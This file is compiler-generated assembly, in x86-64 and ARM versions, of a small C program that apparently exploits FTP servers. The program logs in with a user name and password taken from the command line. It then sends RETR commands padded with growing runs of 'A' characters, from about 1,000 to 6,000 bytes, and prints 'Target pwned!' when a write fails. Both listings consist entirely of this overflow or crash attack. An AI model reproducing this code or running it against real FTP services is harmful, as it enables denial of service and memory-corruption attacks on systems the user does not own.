	.file	"extr_6458.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"USER %s\r\n"
.LC1:
	.string	"PASS %s\r\n"
.LC2:
	.string	"RETR %s\r\n"
.LC3:
	.string	"Target pwned!\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r14
	.cfi_def_cfa_offset 16
	.cfi_offset 14, -16
	xor	edx, edx
	lea	r14, .LC2[rip]
	push	r13
	.cfi_def_cfa_offset 24
	.cfi_offset 13, -24
	push	r12
	.cfi_def_cfa_offset 32
	.cfi_offset 12, -32
	push	rbp
	.cfi_def_cfa_offset 40
	.cfi_offset 6, -40
	push	rbx
	.cfi_def_cfa_offset 48
	.cfi_offset 3, -48
	mov	rbx, rsi
	sub	rsp, 32
	.cfi_def_cfa_offset 80
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 24[rsp], rax
	xor	eax, eax
	lea	rbp, 12[rsp]
	call	socket@PLT
	mov	esi, 12
	mov	rdi, rbp
	mov	r13d, eax
	call	bzero@PLT
	mov	rdi, QWORD PTR 8[rbx]
	mov	eax, DWORD PTR AF_INET[rip]
	mov	DWORD PTR 20[rsp], eax
	call	inet_addr@PLT
	mov	rdi, QWORD PTR 16[rbx]
	mov	DWORD PTR 16[rsp], eax
	call	atoi@PLT
	mov	edi, eax
	call	htons@PLT
	mov	edx, 4
	mov	rsi, rbp
	mov	edi, r13d
	mov	DWORD PTR 12[rsp], eax
	call	connect@PLT
	mov	rdi, QWORD PTR 24[rbx]
	call	strlen@PLT
	mov	rdi, QWORD PTR 32[rbx]
	mov	ebp, eax
	call	strlen@PLT
	mov	rdi, QWORD PTR 32[rbx]
	sub	ebp, eax
	call	strlen@PLT
	mov	rdi, QWORD PTR 24[rbx]
	mov	r12d, eax
	call	strlen@PLT
	mov	esi, r12d
	mov	edi, eax
	call	min@PLT
	lea	edi, 8[rbp+rax]
	call	malloc@PLT
	mov	rdx, QWORD PTR 24[rbx]
	lea	rsi, .LC0[rip]
	mov	rbp, rax
	mov	rdi, rax
	call	sprintf@PLT
	mov	rdi, rbp
	call	strlen@PLT
	mov	rsi, rbp
	mov	edi, r13d
	mov	edx, eax
	call	write@PLT
	mov	rdx, QWORD PTR 32[rbx]
	mov	rdi, rbp
	mov	ebx, 1001
	lea	rsi, .LC1[rip]
	call	sprintf@PLT
	mov	rdi, rbp
	call	strlen@PLT
	mov	rsi, rbp
	mov	edi, r13d
	mov	edx, eax
	call	write@PLT
	mov	rdi, rbp
	call	free@PLT
.L3:
	mov	edi, ebx
	call	malloc@PLT
	lea	edx, -1[rbx]
	mov	esi, 65
	mov	rbp, rax
	mov	rdi, rax
	call	memset@PLT
	mov	BYTE PTR 0[rbp+rbx], 0
	lea	edi, 8[rbx]
	call	malloc@PLT
	mov	rdx, rbp
	mov	rsi, r14
	mov	r12, rax
	mov	rdi, rax
	call	sprintf@PLT
	mov	rdi, r12
	call	strlen@PLT
	mov	rsi, r12
	mov	edi, r13d
	mov	edx, eax
	call	write@PLT
	cmp	eax, -1
	je	.L8
.L2:
	mov	rdi, r12
	add	rbx, 1000
	call	free@PLT
	mov	rdi, rbp
	call	free@PLT
	mov	edi, 1
	call	sleep@PLT
	cmp	rbx, 6001
	jne	.L3
	mov	edi, r13d
	call	close@PLT
	mov	eax, DWORD PTR EXIT_SUCCESS[rip]
	mov	rcx, QWORD PTR 24[rsp]
	xor	rcx, QWORD PTR fs:40
	jne	.L9
	add	rsp, 32
	.cfi_remember_state
	.cfi_def_cfa_offset 48
	pop	rbx
	.cfi_def_cfa_offset 40
	pop	rbp
	.cfi_def_cfa_offset 32
	pop	r12
	.cfi_def_cfa_offset 24
	pop	r13
	.cfi_def_cfa_offset 16
	pop	r14
	.cfi_def_cfa_offset 8
	ret
	.p2align 4,,10
	.p2align 3
.L8:
	.cfi_restore_state
	xor	edi, edi
	call	perror@PLT
	mov	esi, DWORD PTR errno[rip]
	lea	rdi, .LC3[rip]
	call	printf@PLT
	jmp	.L2
.L9:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	errno,4,4
	.comm	SOCK_STREAM,4,4
	.comm	EXIT_SUCCESS,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_6458.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"USER %s\015\012\000"
	.align	2
.LC1:
	.ascii	"PASS %s\015\012\000"
	.align	2
.LC2:
	.ascii	"RETR %s\015\012\000"
	.align	2
.LC3:
	.ascii	"Target pwned!\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC4:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, fp, lr}
	ldr	r3, .L10
	ldr	r4, .L10+4
	mov	r5, r1
	ldr	r1, [r3]
	ldr	r3, .L10+8
	sub	sp, sp, #20
	mov	r2, #0
	ldr	r0, [r4]
	ldr	r3, [r3]
	str	r3, [sp, #12]
	mov	r3,#0
	bl	socket
	mov	r1, #12
	mov	r7, r0
	mov	r0, sp
	bl	bzero
	ldr	r3, [r4]
	ldr	r0, [r5, #4]
	str	r3, [sp, #8]
	bl	inet_addr
	mov	r3, r0
	ldr	r0, [r5, #8]
	str	r3, [sp, #4]
	bl	atoi
	bl	htons
	mov	r3, r0
	mov	r2, #4
	mov	r1, sp
	mov	r0, r7
	str	r3, [sp]
	bl	connect
	ldr	r0, [r5, #12]
	bl	strlen
	mov	r4, r0
	ldr	r0, [r5, #16]
	bl	strlen
	mov	r1, r0
	mov	r0, r4
	sub	r4, r4, r1
	bl	min
	add	r0, r4, r0
	add	r0, r0, #8
	bl	malloc
	mov	r4, r0
	ldr	r2, [r5, #12]
	ldr	r1, .L10+12
	bl	sprintf
	mov	r0, r4
	bl	strlen
	mov	r1, r4
	mov	r2, r0
	mov	r0, r7
	bl	write
	ldr	r2, [r5, #16]
	ldr	r1, .L10+16
	mov	r0, r4
	bl	sprintf
	mov	r0, r4
	bl	strlen
	mov	r1, r4
	mov	r2, r0
	mov	r0, r7
	bl	write
	mov	r0, r4
	bl	free
	ldr	r4, .L10+20
	ldr	r9, .L10+24
	ldr	fp, .L10+28
	ldr	r10, .L10+32
.L3:
	mov	r0, r4
	bl	malloc
	mov	r8, #0
	mov	r5, r0
	mov	r1, #65
	sub	r2, r4, #1
	bl	memset
	add	r0, r4, #8
	strb	r8, [r5, r4]
	bl	malloc
	mov	r6, r0
	mov	r2, r5
	mov	r1, r9
	bl	sprintf
	mov	r0, r6
	bl	strlen
	mov	r1, r6
	mov	r2, r0
	mov	r0, r7
	bl	write
	cmn	r0, #1
	beq	.L8
.L2:
	mov	r0, r6
	bl	free
	mov	r0, r5
	bl	free
	mov	r0, #1
	bl	sleep
	ldr	r3, .L10+36
	add	r4, r4, #1000
	cmp	r4, r3
	bne	.L3
	mov	r0, r7
	bl	close
	ldr	r3, .L10+40
	ldr	r0, [r3]
	ldr	r3, .L10+8
	ldr	r2, [r3]
	ldr	r3, [sp, #12]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L9
	add	sp, sp, #20
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, fp, pc}
.L8:
	mov	r0, r8
	bl	perror
	mov	r0, r10
	ldr	r1, [fp]
	bl	printf
	b	.L2
.L9:
	bl	__stack_chk_fail
.L11:
	.align	2
.L10:
	.word	SOCK_STREAM
	.word	AF_INET
	.word	.LC4
	.word	.LC0
	.word	.LC1
	.word	1001
	.word	.LC2
	.word	errno
	.word	.LC3
	.word	6001
	.word	EXIT_SUCCESS
	.size	main, .-main
	.comm	errno,4,4
	.comm	SOCK_STREAM,4,4
	.comm	EXIT_SUCCESS,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
